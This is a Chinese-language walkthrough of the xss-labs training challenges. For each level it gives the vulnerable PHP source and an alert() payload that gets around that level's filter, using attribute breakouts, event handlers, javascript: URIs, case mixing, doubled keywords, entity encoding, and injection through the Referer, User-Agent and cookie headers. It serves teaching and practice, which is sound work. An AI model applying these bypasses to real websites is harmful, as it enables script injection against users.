xss-labs
参考地址:
https://blog.csdn.net/wo41ge/article/details/107459332
https://blog.csdn.net/weixin_43669045/article/details/107932942
js事件:
https://blog.csdn.net/weixin_62765236/article/details/126694881
level 1
将代码赋值给name即可
查看源码,从源码可以看出,从服务器获得的name参数的值赋值给str变量,又将str变量直接插入到<h2> </h2>
标签之间,服务器并没有对name参数的值进行严格的管理,并且这个值还是用户可控的,所,这一关为反射型xss
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
level 2
直接提交payload发现没有成功
查看网页源码,发现我们输入的代码被转义为<script>alert(1)</script>
,其中 < 和 > 都被编码成了html字符实体
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
检查发现这里的js代码在标签属性值中,有未被实体化的源payload,但是浏览器是无法执行。上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。
要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。
将payload改为">//
成功绕过
查看源码
使用了htmlspecialchars()函数对变量str进行处理之后显示到网页上。
然后又直接将变量值插入到了标签的value属性值中
因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
level 3
使用第二关的方法发现不能绕过
查看网页源码,发现标签的value属性值中也使用了htmlspecialchars()函数
但是因为它将我们搜索的内容提交到了<input>
标签中,所以我们可以使用标签的一些特殊事件来执行js代码,' onclick='alert(1)
js事件参考:https://blog.csdn.net/cnds123/article/details/127103830
提交代码后网页没有反应
使用鼠标点击该输入框时输入框被选中可以,输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onclick事件,因此点击当前页面的输入框就可以完成弹框了。
level 4
先使用<script>alert(1)</script>
尝试是否可以弹窗,发现失败
查看网页源码,发现这关还是使用了htmlspecialchars()函数来实体化<>
,但是<input>
标签内未使用htmlspecialchars()函数,而是将<
和>
符号删了。
使用特殊事件来执行js代码,' onclick='alert(1)
不用使用<
和>
,所以这关和上一关的解法一致,但是本关vlaue="test"中使用了" "
号闭合,所有我们要将payload改为" onclick="alert(1)
过关
level 5
使用" onclick="alert(1)
测试一下,发现还是有htmlspecialchars()函数,并且<input>
便签内对限制了script和on字符替换成scr_pt 和o_n,所以这题不能使用js事件通过
使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接
payload: "> <a href=javascript:alert('xss') > 1</a>
提交后会出现一个链接
点击链接触发代码
查看代码,可以发现它对<script
和on
的过滤机制
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level 6
输入"> <a href=javascript:alert('xss') > xss</a>
,发现它对href
也做替换操作
我们可以试试大小写混写来尝试能不能绕过
payload:"> <a HrEf=javascript:alert('xss') > 1</a>
绕过成功,因为html中对大小写是不敏感的
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
$str4用字符src去进行匹配
html在标签中引用图片会用到一个属性src,正常的引用图片就是将待引用图片的地址赋值给src属性。
但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。
<img>
标签代码:?name=<img src=111 onerror=alert('xss')>
$str5用字符data进行匹配的
Data在就是对字符进行编码的一种设定,比如如果在实际情况中
javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
这条语句和javascript:alert("xss")
或者 <script>alert("xss")</script>
的作用是一样的。
level 7
分别使用payload:<script>alert(1)</script>
、" onclick="alert(1)
、
"> <a href=javascript:alert('1')>1</a>
测试
发现它对script、on、href有过滤,,直接进行了删除操作
尝试双写被过滤的关键字,payload:" oonnclick="alert(1)
因为在oon
nclick中,只有中间的on被删除,于是oon
nclick–>onclick就绕过了过滤
script、href也可以使用这种方法绕过
成功绕过
查看代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
这一题使用了strtolower函数对参数值转换成了小写,所以这一题大小写替换是绕过不了的
虽然将基本的关键字都删除了,但是它只执行了一次,所以可以双写绕过
level 8
这题和前面的几题有点不一样
提交的参数值一个会插入到<input>
标签的value属性值中,一个会插入到下方<a>
标签的href属性值中
使用<script>alert(1)</script>
进行尝试
同样在<input>
便签内,还是使用htmlspecialchars()函数,并且这关连" "
也实体化了
在<a>
标签的href属性值中,则将script替换成了scr_ipt,on和href肯定也有过滤
将我们要提交的js代码进行编码,可以绕过对关键词的过滤
题目会将我们输入插入到下方<a>
标签的href属性值中,所以我们可以将javascript:alert('xss')
进行js编码——>
javascript:alert('xss') 
上传后,点击友情链接
查看代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
$str7处将"
替换成"
level 9
首先此题对那几个关键词肯定是有过滤的
使用javascript:alert(1)
和js编码测试一下,发现都如下图,在<a>
标签的href属性中却并没有出现该参数值,而是提示链接不合法。
这里可能对url地址做了匹配,只有包含正常的url地址才能添加到href属性值中
构造一个有正常url地址的恶意代码:javascript:alert(1)http://www.baidu.com
使用这个payload后发现,我们的payload可以传到<a>
标签中了,但是仍然存在过滤
和level 8一样,对javascript:alert('xss')
进行js编码,注意要编码的代码和 http://www.baidu.com
之间需要插入 //
,否则不会成功执行弹窗。
如:
javascript:alert('xss')//http://
查看代码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
除了敏感词的替代外,还有一个检查我们输入的代码中是否有http://
的判断
level 10
level 10与前面的关卡有所不同,它没有设置输入框
通过url提交<script>alert('1')</script>
,在源码中有一个隐藏的表单。
其中含有t_link、 t_history 、t_sort这样三个隐藏的标签
分别使用下面的payloa进行测试,看看哪一个标签能够被突破
?keyword=<script>alert('xss')</script>&t_link=" type="text"
?keyword=<script>alert('xss')</script>&t_history=" type="text"
?keyword=<script>alert('xss')</script>&t_sort=" type="text"
从页面响应来看,标签就是名为t_sort的标签的状态可以被改变。之前都是隐藏状态,可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗
使用type属性
构造payload:?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('1')
然后点击输入框,成功
也可以采用html的accesskey属性( 通过键盘快捷方式触发)
t_sort=2" accesskey="x" οnclick="alert(1)"
不同的浏览器实现的方式不同
火狐 => alt+shift+快捷键
谷歌 => alt+x
查看代码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
$str11 = $_GET["t_sort"]
说明是接收t_sort参数值的。
$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
会删除t_sort参数值中的<和>。
这一关就只能是将js代码插入到标签的属性值中来执行而不能通过闭合标签引入新的标签来触发xss了。
level 11
这一题的表单有四个隐藏的<input>
标签,同样我们分别使用payload
?keyword=<script>alert('xss')</script>&t_link=" type="text"
?keyword=<script>alert('xss')</script>&t_history=" type="text"
?keyword=<script>alert('xss')</script>&t_sort=" type="text"
我们这一题也是t_sort这个参数接受数据,但是里面的双引号被编码了
这样浏览器只能正常显示字符但是却无法起到闭合的作用了
从前面发现vlaue接收的是产生请求的网页URL,所以可以通过抓包修改数据包请求头referer的信息,来完成上传payload
抓包,发现没有referer标识,我们手动添加一个
构造payload:Referer: "type="text" onclick="alert('xss')
发送数据包,payload上传成功
显示输入框后,点击输入框执行我们上传的payload
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
$str11=$_SERVER['HTTP_REFERER']
中接收了数据包referer的数据
其余过滤和前面大致相似
level 12
只一题和上一题可能差不多,只是vlaue结收到数据变成了浏览器信息,也就是请求头中User-Agent标识的数据
使用level 11的方法
构造payload:User-Agent: "type="text" onclick="alert('xss')
上传成功
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
$str11=$_SERVER['HTTP_USER_AGENT']
中接收了数据包referer的数据
其余过滤和前面大致相似
level 13
这一题也是有四个隐藏的标签,但是vlaue中没有数据
构造payload:?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
上传payload后查看网页源码发现,t_sort接收了参数但是并未显示输入框,而t_cook的value也有了数据
我们进行抓包分析,发现t_cook接收的是cookie的数据,然后通过方法就和前面两个相似了
构造payload:"type="text" onclick="alert('xss')
加入cookie后发送数据包
查看代码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
$str11=$_COOKIE["user"];
中接收了cookie的数据
level 15
进入15关,发现我们通过src参数传入的数据被插入到了<span>
标签的class属性值中,但是前面还有ng-include这样的字符。ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。
上传<script>alert('1')</script>
测试一下
对"
和<>
进行了实例化,所以"onclick="alert('xss)
和"> <a href="javascript:alert('1')
也是不行的
ng-include指令的具体的用法
- ng-include 指令用于包含外部的 HTML文件。
- 包含的内容将作为指定元素的子节点。
- ng-include 属性的值可以是一个表达式,返回一个文件名。
- 默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册
- ng-include,加载外部html中含有style标签样式可以识别
- ng-inclue,加载外部html中的link标签可以加载
参考地址https://blog.csdn.net/u011127019/article/details/53666528/
既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
构造payload:?src='level1.php?name=<img src=1 onerror=alert(1)>'
onerror 当加载图像和文档时发生错误
level 16
使用<script>alert('1')</script>
测试
发现关键词script被实例成空格实体了,然后放入<center>
标签中
查看代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
$str2=str_replace("script"," ",$str);
中将script
编码成空格字符实体
$str3=str_replace(" "," ",$str2);
中将空格编码成空格字符实体
$str4=str_replace("/"," ",$str3);
中将/
编码成空格字符实体
所以我们只能找一个没有空格
、/
和script
的绕过方法
构造payload,这里的payload不能使用空格,所以使用回车代替空格,回车可以用url编码格式%0a来表示
<img
src="111"
onerror=alert('xss')
>
level 17
第17题有两个参数,而且两个参数的值都传到了<embed>
标签的src属性值中
上传<script>alert('1')</script>
测试,发现对<>
进行了实例化处理
构造payload:onclick=alert('1')
这里是已经上传成功的,但是浏览器不正常flash插件所以不能触发
查看代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
两个参数都使用了htmlspecialchars()函数进行实例化
level 18
此关解法和上一关一样
查看代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
和上一题一样
level 19
这一关比前两关多了双引号,但是因为使用htmlspecialchars()函数进行处理,所以无法用双引号成功闭合。
这一关涉及一种xss攻击手段叫做flash xss
这一关涉及一种xss攻击手段叫做flash xss
Flash产生的xss问题主要有两种方式:
加载第三方资源
与javascript通信引发XSS
常见的可触发xss的危险函数有:
getURL
navigate
ToURL
ExternalInterface.call
htmlText loadMovie等
要想知道这一关的是不是属于flash xss,只需要对引用的swf文件进行反编译然后进行源码分析。
反编译的工具是jpexs-decompiler:https://github.com/jindrapetrik/jpexs-decompiler